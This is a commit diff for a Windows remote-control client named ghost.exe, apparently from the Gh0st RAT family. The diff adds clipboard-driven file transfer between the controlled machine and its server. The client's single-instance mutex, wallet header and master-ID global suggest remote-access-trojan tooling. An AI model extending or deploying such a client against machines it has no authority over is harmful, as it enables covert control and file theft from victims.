Feature: File copy/paste support in remote control
This commit is contained in:
@@ -199,7 +199,9 @@ int main(int argc, const char *argv[])
|
||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||||
CloseHandle(hMutex);
|
||||
#ifndef _DEBUG
|
||||
return -2;
|
||||
#endif
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
@@ -208,6 +210,9 @@ int main(int argc, const char *argv[])
|
||||
ClientApp& app(g_MyApp);
|
||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
app.g_Connection->SetServer(ip, port);
|
||||
#ifdef _DEBUG
|
||||
g_SETTINGS.SetServer(ip, port);
|
||||
#endif
|
||||
if (CLIENT_PARALLEL_NUM == 1) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
StartClientApp(&app);
|
||||
|
||||
@@ -195,6 +195,7 @@
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\location.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
|
||||
@@ -428,7 +428,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
HeaderEncType encType = HeaderEncUnknown;
|
||||
FlagType flagType = CheckHead(szPacketFlag, encType);
|
||||
if (flagType == FLAG_UNKNOWN) {
|
||||
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip %d.\n",
|
||||
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip: %d.\n",
|
||||
szPacketFlag, maskType, ret);
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
|
||||
@@ -171,6 +171,14 @@ public:
|
||||
m_nHostPort = uPort;
|
||||
}
|
||||
|
||||
std::string ServerIP() const {
|
||||
return m_sCurIP;
|
||||
}
|
||||
|
||||
int ServerPort() const {
|
||||
return m_nHostPort;
|
||||
}
|
||||
|
||||
BOOL IsRunning() const
|
||||
{
|
||||
return m_bIsRunning;
|
||||
|
||||
@@ -17,9 +17,34 @@
|
||||
#include "ScreenCapturerDXGI.h"
|
||||
#include <Shlwapi.h>
|
||||
#include <shlobj_core.h>
|
||||
#include "common/file_upload.h"
|
||||
#include <thread>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
#ifndef PLUGIN
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
|
||||
int UninitFileUpload() { return 0; }
|
||||
std::vector<std::string> GetClipboardFiles() { return{}; }
|
||||
bool GetCurrentFolderPath(std::string& outDir) { return false; }
|
||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
|
||||
finish(user);
|
||||
return 0;
|
||||
}
|
||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -46,6 +71,11 @@ bool IsWindows8orHigher()
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
#ifndef PLUGIN
|
||||
extern CONNECT_ADDRESS g_SETTINGS;
|
||||
m_conn = &g_SETTINGS;
|
||||
InitFileUpload("");
|
||||
#endif
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
g_hDesk = nullptr;
|
||||
@@ -269,7 +299,7 @@ VOID CScreenManager::SendBitMapInfo()
|
||||
CScreenManager::~CScreenManager()
|
||||
{
|
||||
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||
|
||||
UninitFileUpload();
|
||||
m_bIsWorking = FALSE;
|
||||
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
@@ -281,6 +311,45 @@ CScreenManager::~CScreenManager()
|
||||
m_ScreenSpyObject = NULL;
|
||||
}
|
||||
|
||||
void RunFileReceiver(CScreenManager *mgr, const std::string &folder) {
|
||||
auto start = time(0);
|
||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
|
||||
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||||
pClient->setManagerCallBack(mgr, CManager::DataProcess);
|
||||
// <20><><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
char cmd[300] = { COMMAND_GET_FILE };
|
||||
memcpy(cmd + 1, folder.c_str(), folder.length());
|
||||
pClient->Send2Server(cmd, sizeof(cmd));
|
||||
pClient->RunEventLoop(TRUE);
|
||||
}
|
||||
delete pClient;
|
||||
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
|
||||
}
|
||||
|
||||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
||||
IOCPClient* pClient = (IOCPClient*)user;
|
||||
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void RecvData(void* ptr) {
|
||||
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||
}
|
||||
|
||||
void delay_destroy(IOCPClient* pClient, int sec) {
|
||||
if (!pClient) return;
|
||||
Sleep(sec * 1000);
|
||||
delete pClient;
|
||||
}
|
||||
|
||||
void FinishSend(void* user) {
|
||||
IOCPClient* pClient = (IOCPClient*)user;
|
||||
std::thread(delay_destroy, pClient, 15).detach();
|
||||
}
|
||||
|
||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
@@ -303,6 +372,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD: {
|
||||
auto files = GetClipboardFiles();
|
||||
if (!files.empty())
|
||||
{
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||
m_hash = std::string(h, h + 64);
|
||||
m_hmac = std::string(h + 64, h + 80);
|
||||
BYTE szBuffer[1] = { COMMAND_GET_FOLDER };
|
||||
SendData(szBuffer, sizeof(szBuffer));
|
||||
break;
|
||||
}
|
||||
SendClientClipboard();
|
||||
break;
|
||||
}
|
||||
@@ -310,6 +390,47 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
}
|
||||
case COMMAND_GET_FOLDER: {
|
||||
std::string folder;
|
||||
if (GetCurrentFolderPath(folder)) {
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||
m_hash = std::string(h, h + 64);
|
||||
m_hmac = std::string(h + 64, h + 80);
|
||||
|
||||
if (OpenClipboard(nullptr))
|
||||
{
|
||||
EmptyClipboard();
|
||||
CloseClipboard();
|
||||
}
|
||||
std::thread(RunFileReceiver, this, folder).detach();
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_GET_FILE: {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
auto files = GetClipboardFiles();
|
||||
std::string dir = (char*)(szBuffer + 1);
|
||||
if (!files.empty() && !dir.empty()) {
|
||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
|
||||
m_hash, m_hmac).detach();
|
||||
}
|
||||
else {
|
||||
delete pClient;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_SEND_FILE: {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac);
|
||||
if (n) {
|
||||
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str());
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -45,6 +45,12 @@ public:
|
||||
VOID SendClientClipboard();
|
||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
CONNECT_ADDRESS *m_conn = nullptr;
|
||||
void SetConnection(CONNECT_ADDRESS* conn){
|
||||
m_conn = conn;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
|
||||
@@ -6,3 +6,4 @@
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
char g_MasterID[_MAX_PATH] = {};
|
||||
|
||||
@@ -206,6 +206,7 @@
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\mask.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
|
||||
@@ -1,4 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommandArguments>
|
||||
</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>
|
||||
</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
Reference in New Issue
Block a user